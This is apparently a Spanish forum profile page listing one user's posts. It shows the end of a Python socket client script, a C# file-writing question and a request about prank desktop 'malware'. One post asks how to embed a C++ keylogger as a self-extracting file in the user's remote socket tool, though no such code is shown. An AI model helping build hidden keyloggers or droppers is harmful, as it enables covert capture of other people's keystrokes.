  149.            client.send(bytes("Transportado correctamente", "utf-8"))
  150.        except:
  151.            client.send(bytes("A ocurrido un error", "utf-8"))
  152.  
  153.    time.sleep(espera)
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  



Postdata: Algunas librerías hay que instalarlas con pip ;) ;)

MOD: Codigo GeShi de Python agregado
8  Programación / Scripting / Script con archivos autoextraibles en: 26 Julio 2020, 16:59 pm
Antes de nada buenas a todos:
Estoy creando una socket y una de las opciones que le di es un keylogger, a mi parecer los keyloggers en python no son muy útiles comparados con los de c++. Asi que lo que quiero hacer es que, de alguna manera, el script lleve el archivo adjunto y al ejecutar la orden se extraiga. No se si esto es alucinar un poco de todas formas decidme si es posible.

Un saludo a todos ;-) ;-)
9  Programación / .NET (C#, VB.NET, ASP) / Problema con programa en: 12 Junio 2020, 17:02 pm
Muy buenas, estoy aprendiendo c# desde hace bien poco con visual studio. El caso tengo un código que se supone, debería escribir en un .txt cierto texto y luego volver a escribir sin remplazarlo, necesito ayuda plz.(Os dejo el código para que me digáis que está mal). No es muy urgente, pero aun así agradecería la ayuda. ;-) ;-)

Código:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Windows.Forms;

namespace Recopilador
{
    public partial class Form1 : Form
    {
        //variables generales
        List<string> Lista1 = new List<string>();
        public string ruta = @"C:\Users\PC\Documents\hi\Recopilador\Recopilador\bin\Debug\Nombres.txt";

        public Form1()
        {
            InitializeComponent();
        }

        private void OkBotton_Click(object sender, EventArgs e)
        {
            string name;
            name = CajaNombre.Text;

            Lista1.Add(name);

            NombresRegistrados.DataSource = null;
            NombresRegistrados.DataSource = Lista1;

            if (Directory.Exists(ruta))
            {
                StreamWriter STwriter = File.AppendText(ruta);
                STwriter.WriteLine(name);
                STwriter.Close();
            }
            else
            {
                TextWriter writer = new StreamWriter(ruta);
                writer.WriteLine(name);
                writer.Close();
            }

            MessageBox.Show("Guardado correctamente.");
        }

        private void LimpiarLista_Click(object sender, EventArgs e)
        {
            Lista1.Remove(CajaNombre.Text);

            NombresRegistrados.DataSource = null;
            NombresRegistrados.DataSource = Lista1;
        }

        private void ModificarNombre_Click(object sender, EventArgs e)
        {
            try
            {
                var loc = Lista1.IndexOf(NombreACambiar.Text);

                Lista1.RemoveAt(loc);
                Lista1.Insert(loc, CajaNombre.Text);

                NombresRegistrados.DataSource = null;
                NombresRegistrados.DataSource = Lista1;
            }catch(Exception x)
            {
                MessageBox.Show("*****El elemento seleccionado no existe.***** Detalles del error:" + x);
            }
        }

        private void button1_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

        private void EscribirArchivo_Click(object sender, EventArgs e)
        {


        }
    }
}
10  Seguridad Informática / Análisis y Diseño de Malware / Lenguaje para crear un "malware" pero divertido en: 9 Junio 2020, 23:25 pm
Antes de todo, hola a todos. Estoy buscando como crear un malware que se mueva por el escritorio creando una sensación graciosa (similar a desktop goose). He pensado en utilizar c# ya que es un lenguaje orientado a objetos, pero aun asi les pido tu opinion.
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines